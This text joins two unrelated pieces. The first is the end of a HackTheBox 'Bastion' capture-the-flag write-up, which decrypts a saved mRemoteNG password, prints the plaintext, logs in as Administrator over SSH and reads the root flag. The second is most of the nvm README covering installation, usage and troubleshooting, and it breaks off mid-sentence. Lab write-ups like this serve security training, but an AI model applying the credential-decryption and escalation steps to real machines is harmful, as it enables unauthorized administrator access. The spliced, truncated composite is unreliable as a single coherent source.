mRemoteNG passwords. options: -h, --help show this help message and exit -f FILE, --file FILE Name of file containing mRemoteNG password -rf REALFILE, --realFile REALFILE Name of the Real mRemoteNG connections file containing the passwords -s STRING, --string STRING base64 string of mRemoteNG password -p PASSWORD, --password PASSWORD Custom password -L LEGACY, --legacy LEGACY version <= 1.74 ``` ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|16:16:36(HKT)] └> python3 mremoteng_decrypt.py -s 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/{Redacted}==' Password: thXLHM96BeKL0ER2 ``` **Nice! Let's try to SSH into `Administrator`!** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|16:17:00(HKT)] └> ssh Administrator@$RHOSTS [email protected]'s password: [...] administrator@BASTION C:\Users\Administrator>whoami && ipconfig /all bastion\administrator Windows IP Configuration Host Name . . . . . . . . . . . . : Bastion Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection Physical Address. . . . . . . . . : 00-50-56-B9-87-18 DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::1df8:cf16:33a:98f9%4(Preferred) IPv4 Address. . . . . . . . . . . : 10.10.10.134(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.10.10.2 DHCPv6 IAID . . . . . . . . . . . : 100683862 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-01-96-CA-08-00-27-0A-7D-93 DNS Servers . . . . . . . . . . . : 10.10.10.2 [...] ``` I'm now `bastion\administrator`! :D ## Rooted **root.txt:** ```shell administrator@BASTION C:\Users\Administrator\Desktop>type root.txt {Redacted} ``` ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HackTheBox/Bastion/images/Pasted%20image%2020230804155525.png) ## Conclusion What we've learned: 1. Mounting Virutal Hard Disk image via `guestmount` 2. Extracting NTLM hashes via SAM and SYSTEM files and crack them via `samdump2` 3. Vertical privilege escalation via mRemoteNG's insecure password storage
# Node Version Manager [![Build Status](https://travis-ci.org/nvm-sh/nvm.svg?branch=master)][3] [![nvm version](https://img.shields.io/badge/version-v0.37.2-yellow.svg)][4] [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/684/badge)](https://bestpractices.coreinfrastructure.org/projects/684) <!-- To update this table of contents, ensure you have run `npm install` then `npm run doctoc` --> <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> ## Table of Contents - [About](#about) - [Installing and Updating](#installing-and-updating) - [Install & Update Script](#install--update-script) - [Additional Notes](#additional-notes) - [Troubleshooting on Linux](#troubleshooting-on-linux) - [Troubleshooting on macOS](#troubleshooting-on-macos) - [Ansible](#ansible) - [Verify Installation](#verify-installation) - [Important Notes](#important-notes) - [Git Install](#git-install) - [Manual Install](#manual-install) - [Manual Upgrade](#manual-upgrade) - [Usage](#usage) - [Long-term Support](#long-term-support) - [Migrating Global Packages While Installing](#migrating-global-packages-while-installing) - [Default Global Packages From File While Installing](#default-global-packages-from-file-while-installing) - [io.js](#iojs) - [System Version of Node](#system-version-of-node) - [Listing Versions](#listing-versions) - [Setting Custom Colors](#setting-custom-colors) - [Persisting custom colors](#persisting-custom-colors) - [Suppressing colorized output](#suppressing-colorized-output) - [.nvmrc](#nvmrc) - [Deeper Shell Integration](#deeper-shell-integration) - [bash](#bash) - [Automatically call `nvm use`](#automatically-call-nvm-use) - [zsh](#zsh) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file) - [fish](#fish) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file-1) - [License](#license) - [Running Tests](#running-tests) - [Environment variables](#environment-variables) - [Bash Completion](#bash-completion) - [Usage](#usage-1) - [Compatibility Issues](#compatibility-issues) - [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux) - [Uninstalling / Removal](#uninstalling--removal) - [Manual Uninstall](#manual-uninstall) - [Docker For Development Environment](#docker-for-development-environment) - [Problems](#problems) - [macOS Troubleshooting](#macos-troubleshooting) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## About nvm is a version manager for [node.js](https://nodejs.org/en/), designed to be installed per-user, and invoked per-shell. `nvm` works on any POSIX-compliant shell (sh, dash, ksh, zsh, bash), in particular on these platforms: unix, macOS, and windows WSL. <a id="installation-and-update"></a> <a id="install-script"></a> ## Installing and Updating ### Install & Update Script To **install** or **update** nvm, you should run the [install script][2]. To do that, you may either download and run the script manually, or use the following cURL or Wget command: ```sh curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` ```sh wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` Running either of the above commands downloads a script and runs it. The script clones the nvm repository to `~/.nvm`, and attempts to add the source lines from the snippet below to the correct profile file (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). <a id="profile_snippet"></a> ```sh export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` #### Additional Notes - If the environment variable `$XDG_CONFIG_HOME` is present, it will place the `nvm` files there.</sub> - You can add `--no-use` to the end of the above script (...`nvm.sh --no-use`) to postpone using `nvm` until you manually [`use`](#usage) it. - You can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables. Eg: `curl ... | NVM_DIR="path/to/nvm"`. Ensure that the `NVM_DIR` does not contain a trailing slash. - The installer can use `git`, `curl`, or `wget` to download `nvm`, whichever is available. #### Troubleshooting on Linux On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type `command -v nvm`, simply close your current terminal, open a new terminal, and try verifying again. #### Troubleshooting on macOS Since OS X 10.9, `/usr/bin/git` has been preset by Xcode command line tools, which means we can't properly detect if Git is installed or not. You need to manually install the Xcode command line tools before running the install script, otherwise, it'll fail. (see [#1782](https://github.com/nvm-sh/nvm/issues/1782)) If you get `nvm: command not found` after running the install script, one of the following might be the reason: - Since macOS 10.15, the default shell is `zsh` and nvm will look for `.zshrc` to update, none is installed by default. Create one with `touch ~/.zshrc` and run the install script again. - If you use bash, the previous default shell, run `touch ~/.bash_profile` to create the necessary profile file if it does not exist. - You might need to restart your terminal instance or run `. ~/.nvm/nvm.sh`. Restarting your terminal/opening a new tab/window, or running the source command will load the command and the new configuration. If the above doesn't fix the problem, you may try the following: - If you use bash, it may be that your `.bash_profile` (or `~/.profile`) does not source your `~/.bashrc` properly. You could fix this by adding `source ~/<your_profile_file>` to it or follow the next step below. - Try adding [the snippet from the install section](#profile_snippet), that finds the correct nvm directory and loads nvm, to your usual profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). - For more information about this issue and possible workarounds, please [refer here](https://github.com/nvm-sh/nvm/issues/576) #### Ansible You can use a task: ```yaml - name: nvm shell: > curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash args: creates: "{{ ansible_env.HOME }}/.nvm/nvm.sh" ``` ### Verify Installation To verify that nvm has been installed, do: ```sh command -v nvm ``` which should output `nvm` if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary. ### Important Notes If you're running a system without prepackaged binary available, which means you're going to install nodejs or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work. **Note:** `nvm` does not support Windows (see [#284](https://github.com/nvm-sh/nvm/issues/284)), but may work in WSL (Windows Subsystem for Linux) depending on the version of WSL. For Windows, two alternatives exist, which are neither supported nor developed by us: - [nvm-windows](https://github.com/coreybutler/nvm-windows) - [nodist](https://github.com/marcelklehr/nodist) **Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/nvm-sh/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us: - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell - [fnm](https://github.com/fisherman/fnm) - [fisherman](https://github.com/fisherman/fisherman)-based version manager for fish - [fish-nvm](https://github.com/FabioAntunes/fish-nvm) - Wrapper around nvm for fish, delays sourcing nvm until it's actually used. **Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket: - [[#900] [Bug] nodejs on FreeBSD may need to be patched](https://github.com/nvm-sh/nvm/issues/900) - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716) **Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that: - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](http://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/) **Note:** On OS X, if you have/had a "system" node installed and want to install modules globally, keep in mind that: - When using `nvm` you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt` - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with `nvm`) - You can (but should not?) keep your previous "system" node install, but `nvm` will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*` Homebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue. **Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade. **Note:** Git versions before v1.7 may face a problem of cloning `nvm` source from GitHub via https protocol, and there is also different behavior of git before v1.6, and git prior to [v1.17.10](https://github.com/git/git/commit/5a7d5b683f869d3e3884a89775241afa515da9e7) can not clone tags, so the minimum required git version is v1.7.10. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article. ### Git Install If you have `git` installed (requires git v1.7.10+): 1. clone this repo in the root of your user profile - `cd ~/` from anywhere then `git clone https://github.com/nvm-sh/nvm.git .nvm` 1. `cd ~/.nvm` and check out the latest version with `git checkout v0.37.2` 1. activate `nvm` by sourcing it from your shell: `. ./nvm.sh` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion ``` ### Manual Install For a fully manual install, execute the following lines to first clone the `nvm` repository into `$HOME/.nvm`, and then load `nvm`: ```sh export NVM_DIR="$HOME/.nvm" && ( git clone https://github.com/nvm-sh/nvm.git "$NVM_DIR" cd "$NVM_DIR" git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` ### Manual Upgrade For manual upgrade with `git` (requires git v1.7.10+): 1. change to the `$NVM_DIR` 1. pull down the latest changes 1. check out the latest version 1. activate the new version ```sh ( cd "$NVM_DIR" git fetch --tags origin git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` ## Usage To download, compile, and install the latest release of node, do this: ```sh nvm install node # "node" is an alias for the latest version ``` To install a specific version of node: ```sh nvm install 6.14.4 # or 10.10.0, 8.9.1, etc ``` The first version installed becomes the default. New shells will start with the default version of node (e.g., `nvm alias default`). You can list available versions using `ls-remote`: ```sh nvm ls-remote ``` And then in any new shell just use the installed version: ```sh nvm use node ``` Or you can just run it: ```sh nvm run node --version ``` Or, you can run any arbitrary command in a subshell with the desired version of node: ```sh nvm exec 4.2 node --version ``` You can also get the path to the executable to where it was installed: ```sh nvm which 5.0 ``` In place of a version pointer like "0.10" or "5.0" or "4.2.1", you can use the following special default aliases with `nvm install`, `nvm use`, `nvm run`, `nvm exec`, `nvm which`, etc: - `node`: this installs the latest version of [`node`](https://nodejs.org/en/) - `iojs`: this installs the latest version of [`io.js`](https://iojs.org/en/) - `stable`: this alias is deprecated, and only truly applies to `node` `v0.12` and earlier. Currently, this is an alias for `node`. - `unstable`: this alias points to `node` `v0.11` - the last "unstable" node release, since post-1.0, all node versions are stable. (in SemVer, versions communicate breakage, not stability). ### Long-term Support Node has a [schedule](https://github.com/nodejs/Release#release-schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the "argon" line, for example. In addition, the following commands support LTS arguments: - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon` - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon` - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon` - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon` - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon` - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon` - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon` Any time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported. To get the latest LTS version of node and migrate your existing installed packages, use ```sh nvm install 'lts/*' --reinstall-packages-from=current ``` ### Migrating Global Packages While Installing If you want to install a new version of Node.js and migrate npm packages from a previous version: ```sh nvm install node --reinstall-packages-from=node ``` This will first use "nvm version node" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs "nvm reinstall-packages" to reinstall the npm packages from your prior version of Node to the new one. You can also install and migrate npm packages from specific versions of Node like this: ```sh nvm install 6 --reinstall-packages-from=5 nvm install v4.2 --reinstall-packages-from=iojs ``` Note that reinstalling packages _explicitly does not update the npm version_ — this is to ensure that npm isn't accidentally upgraded to a broken version for the new node version. To update npm at the same time add the `--latest-npm` flag, like this: ```sh nvm install lts/* --reinstall-packages-from=default --latest-npm ``` or, you can at any time run the following command to get the latest supported npm version on the current node version: ```sh nvm install-latest-npm ``` If you've already gotten an error to the effect of "npm does not support Node.js", you'll need to (1) revert to a previous node version (`nvm ls` & `nvm use <your latest _working_ version from the ls>`, (2) delete the newly created node version (`nvm uninstall <your _broken_ version of node from the ls>`), then (3) rerun your `nvm install` with the `--latest-npm` flag. ### Default Global Packages From File While Installing If you have a list of default packages you want installed every time you install a new version, we support that too -- just add the package names, one per line, to the file `$NVM_DIR/default-packages`. You can add anything npm would accept as a package argument on the command line. ```sh # $NVM_DIR/default-packages rimraf [email protected] stevemao/left-pad ``` ### io.js If you want to install [io.js](https://github.com/iojs/io.js/): ```sh nvm install iojs ``` If you want to install a new version of io.js and migrate npm packages from a previous version: ```sh nvm install iojs --reinstall-packages-from=iojs ``` The same guidelines mentioned for migrating npm packages in node are applicable to io.js. ### System Version of Node If you want to use the system-installed version of node, you can use the special default alias "system": ```sh nvm use system nvm run system --version ``` ### Listing Versions If you want to see what versions are installed: ```sh nvm ls ``` If you want to see what versions are available to install: ```sh nvm ls-remote ``` ### Setting Custom Colors You can set five colors that will be used to display version and alias information. These colors replace the default colors. Initial colors are: g b y r e Color codes: r/R = red / bold red g/G = green / bold green b/B = blue / bold blue c/C = cyan / bold cyan m/M = magenta / bold magenta y/Y = yellow / bold yellow k/K = black / bold black e/W = light grey / white ```sh nvm set-colors rgBcm ``` #### Persisting custom colors If you want the custom colors to persist after terminating the shell, export the NVM_COLORS variable in your shell profile. For example, if you want to use cyan, magenta, green, bold red and bold yellow, add the following line: ```sh export NVM_COLORS='cmgRY' ``` #### Suppressing colorized output `nvm help (or -h or --help)`, `nvm ls`, `nvm ls-remote` and `nvm alias` usually produce colorized output. You can disable colors with the `--no-colors` option (or by setting the environment variable `TERM=dumb`): ```sh nvm ls --no-colors nvm help --no-colors TERM=dumb nvm ls ``` To restore your PATH, you can deactivate it: ```sh nvm deactivate ``` To set a default Node version to be used in any new shell, use the alias 'default': ```sh nvm alias default node ``` To use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`: ```sh export NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install node NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2 ``` To use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`: ```sh export NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 ``` `nvm use` will not, by default, create a "current" symlink. Set `$NVM_SYMLINK_CURRENT` to "true" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions. ### .nvmrc You can create a `.nvmrc` file containing a node version number (or any other string that `nvm` understands; see `nvm --help` for details) in the project root directory (or any parent directory). Afterwards, `nvm use`, `nvm install`, `nvm exec`, `nvm run`, and `nvm which` will use the version specified in the `.nvmrc` file if no version is supplied on the command line. For example, to make nvm default to the latest 5.9 release, the latest LTS version, or the latest node version for the current directory: ```sh $ echo "5.9" > .nvmrc $ echo "lts/*" > .nvmrc # to default to the latest LTS version $ echo "node" > .nvmrc # to default to the latest version ``` [NB these examples assume a POSIX-compliant shell version of `echo`. If you use a Windows `cmd` development environment, eg the `.nvmrc` file is used to configure a remote Linux deployment, then keep in mind the `"`s will be copied leading to an invalid file. Remove them.] Then when you run nvm: ```sh $ nvm use Found '/path/to/project/.nvmrc' with version <5.9> Now using node v5.9.1 (npm v3.7.3) ``` `nvm use` et. al. will traverse directory structure upwards from the current directory looking for the `.nvmrc` file. In other words, running `nvm use` et. al. in any subdirectory of a directory with an `.nvmrc` will result in that `.nvmrc` being utilized. The contents of a `.nvmrc` file **must** be the `<version>` (as described by `nvm --help`) followed by a newline. No trailing spaces are allowed, and the trailing newline is required. ### Deeper Shell Integration You can use [`avn`](https://github.com/wbyoung/avn) to deeply integrate into your shell and automatically invoke `nvm` when changing directories. `avn` is **not** supported by the `nvm` development team. Please [report issues to the `avn` team](https://github.com/wbyoung/avn/issues/new). If you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` development team. We are, however, accepting pull requests for more examples. #### bash ##### Automatically call `nvm use` Put the following at the end of your `$HOME/.bashrc`: ```bash find-up() { path=$(pwd) while [[ "$path" != "" && ! -e "$path/$1" ]]; do path=${path%/*} done echo "$path" } cdnvm() { cd "$@"; nvm_path=$(find-up .nvmrc | tr -d '\n') # If there are no .nvmrc file, use the default nvm version if [[ ! $nvm_path = *[^[:space:]]* ]]; then declare default_version; default_version=$(nvm version default); # If there is no default version, set it to `node` # This will use the latest version on your machine if [[ $default_version == "N/A" ]]; then nvm alias default node; default_version=$(nvm version default); fi # If the current version is not the default version, set it to use the default version if [[ $(nvm current) != "$default_version" ]]; then nvm use default; fi elif [[ -s $nvm_path/.nvmrc && -r $nvm_path/.nvmrc ]]; then declare nvm_version nvm_version=$(<"$nvm_path"/.nvmrc) declare locally_resolved_nvm_version # `nvm ls` will check all locally-available versions # If there are multiple matching versions, take the latest one # Remove the `->` and `*` characters and spaces # `locally_resolved_nvm_version` will be `N/A` if no local versions are found locally_resolved_nvm_version=$(nvm ls --no-colors "$nvm_version" | tail -1 | tr -d '\->*' | tr -d '[:space:]') # If it is not already installed, install it # `nvm install` will implicitly use the newly-installed version if [[ "$locally_resolved_nvm_version" == "N/A" ]]; then nvm install "$nvm_version"; elif [[ $(nvm current) != "$locally_resolved_nvm_version" ]]; then nvm use "$nvm_version"; fi fi } alias cd='cdnvm' cd $PWD ``` This alias would search 'up' from your current directory in order to detect a `.nvmrc` file. If it finds it, it will switch to that version; if not, it will use the default version. #### zsh ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file Put this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an `.nvmrc` file with a string telling nvm which node to `use`: ```zsh # place this after nvm initialization! autoload -U add-zsh-hook load-nvmrc() { local node_version="$(nvm version)" local nvmrc_path="$(nvm_find_nvmrc)" if [ -n "$nvmrc_path" ]; then local nvmrc_node_version=$(nvm version "$(cat "${nvmrc_path}")") if [ "$nvmrc_node_version" = "N/A" ]; then nvm install elif [ "$nvmrc_node_version" != "$node_version" ]; then nvm use fi elif [ "$node_version" != "$(nvm version default)" ]; then echo "Reverting to nvm default version" nvm use default fi } add-zsh-hook chpwd load-nvmrc load-nvmrc ``` #### fish ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file This requires that you have [bass](https://github.com/edc/bass) installed. ```fish # ~/.config/fish/functions/nvm.fish function nvm bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv end # ~/.config/fish/functions/nvm_find_nvmrc.fish function nvm_find_nvmrc bass source ~/.nvm/nvm.sh --no-use ';' nvm_find_nvmrc end # ~/.config/fish/functions/load_nvm.fish function load_nvm --on-variable="PWD" set -l default_node_version (nvm version default) set -l node_version (nvm version) set -l nvmrc_path (nvm_find_nvmrc) if test -n "$nvmrc_path" set -l nvmrc_node_version (nvm version (cat $nvmrc_path)) if test "$nvmrc_node_version" = "N/A" nvm install (cat $nvmrc_path) else if test nvmrc_node_version != node_version nvm use $nvmrc_node_version end else if test "$node_version" != "$default_node_version" echo "Reverting to default Node version" nvm use default end end # ~/.config/fish/config.fish # You must call it on initialization or listening to directory switching won't work load_nvm ``` ## License nvm is released under the MIT license. Copyright (C) 2010 Tim Caswell and Jordan Harband Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## Running Tests Tests are written in [Urchin]. Install Urchin (and other dependencies) like so: npm install There are slow tests and fast tests. The slow tests do things like install node and check that the right versions are used. The fast tests fake this to test things like aliases and uninstalling. From the root of the nvm git repository, run the fast tests like this: npm run test/fast Run the slow tests like this: npm run test/slow Run all of the tests like this: npm test Nota bene: Avoid running nvm while the tests are running. ## Environment variables nvm exposes the following environment variables: - `NVM_DIR` - nvm's installation directory. - `NVM_BIN` - where node, npm, and global packages for the active version of node are installed. - `NVM_INC` - node's include file directory (useful for building C/C++ addons for node). - `NVM_CD_FLAGS` - used to maintain compatibility with zsh. - `NVM_RC_VERSION` - version from .nvmrc file if being used. Additionally, nvm modifies `PATH`, and, if present, `MANPATH` and `NODE_PATH` when changing versions. ## Bash Completion To activate, you need to source `bash_completion`: ```sh [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` Put the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`). ### Usage nvm: > $ nvm <kbd>Tab</kbd> ``` alias deactivate install list-remote reinstall-packages uninstall version cache exec install-latest-npm ls run unload version-remote current help list ls-remote unalias use which ``` nvm alias: > $ nvm alias <kbd>Tab</kbd> ``` default iojs lts/* lts/argon lts/boron lts/carbon lts/dubnium lts/erbium node stable unstable ``` > $ nvm alias my_alias <kbd>Tab</kbd> ``` v10.22.0 v12.18.3 v14.8.0 ``` nvm use: > $ nvm use <kbd>Tab</kbd> ``` my_alias default v10.22.0 v12.18.3 v14.8.0 ``` nvm uninstall: > $ nvm uninstall <kbd>Tab</kbd> ``` my_alias default v10.22.0 v12.18.3 v14.8.0 ``` ## Compatibility Issues `nvm` will encounter some issues if you have some non-default settings set. (see [#606](/../../issues/606)) The following are known to cause issues: Inside `~/.npmrc`: ```sh prefix='some/path' ``` Environment Variables: ```sh $NPM_CONFIG_PREFIX $PREFIX ``` Shell settings: ```sh set -e ``` ## Installing nvm on Alpine Linux In order to provide the best performance (and other optimisations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides these pre-compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al). Alpine Linux, unlike mainstream/traditional Linux distributions, is based on [BusyBox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. BusyBox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see "...does not exist" errors if you try that. There is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally. If installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell: ```sh apk add -U curl bash ca-certificates openssl ncurses coreutils python2 make gcc g++ libgcc linux-headers grep util-linux binutils findutils curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash ``` The Node project has some desire but no concrete plans (due to the overheads of building, testing and support) to offer Alpine-compatible binaries. As a potential alternative, @mhart (a Node contributor) has some [Docker images for Alpine Linux with Node and optionally, npm, pre-installed](https://github.com/mhart/alpine-node). <a id="removal"></a> ## Uninstalling / Removal ### Manual Uninstall To remove `nvm` manually, execute the following: ```sh $ rm -rf "$NVM_DIR" ``` Edit `~/.bashrc` (or other shell resource config) and remove the lines below: ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` ## Docker For Development Environment To make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 14.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository: ```sh $ docker build -t nvm-dev . ``` This will package your current nvm repository with our pre-defined development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`: ```sh $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nvm-dev latest 9ca4c57a97d8 7 days ago 650 MB ``` If you got no error message, now you can easily involve in: ```sh $ docker run -h nvm-dev -it nvm-dev nvm@nvm-dev:~/.nvm$ ``` Please note that it'll take about 8 minutes to build the image and the image size would be about 650MB, so it's not suitable for production usage. For more information and documentation about docker, please refer to its official website: - https://www.docker.com/ - https://docs.docker.com/ ## Problems - If you try to install a node version and the installation fails, be sure to run `nvm cache clear` to delete cached node downloads, or you might get an error like the following: curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume. - Where's my `sudo node`? Check out [#43](https://github.com/nvm-sh/nvm/issues/43) - After the v0.8.6 release of node, nvm tries to install from binary packages. But in some systems, the official binary packages don't work due to incompatibility of shared libs. In such cases, use `-s` option to force install from source: ```sh nvm install -s 0.8.6 ``` - If setting the `default` alias does not establish the node version in new shells (i.e. `nvm current` yields `system`), ensure that the system's node `PATH` is set before the `nvm.sh` source line in your shell profile (see [#658](https://github.com/nvm-sh/nvm/issues/658)) ## macOS Troubleshooting **nvm node version not found in vim shell** If you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run: ```shell sudo chmod ugo-x /usr/libexec/path_helper ``` More on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x). **nvm is not compatible with the npm config "prefix" option** Some solutions for this issue can be found [here](https://github.com/nvm-sh/nvm/issues/1245) There is one more edge case causing this issue, and that's a **mismatch 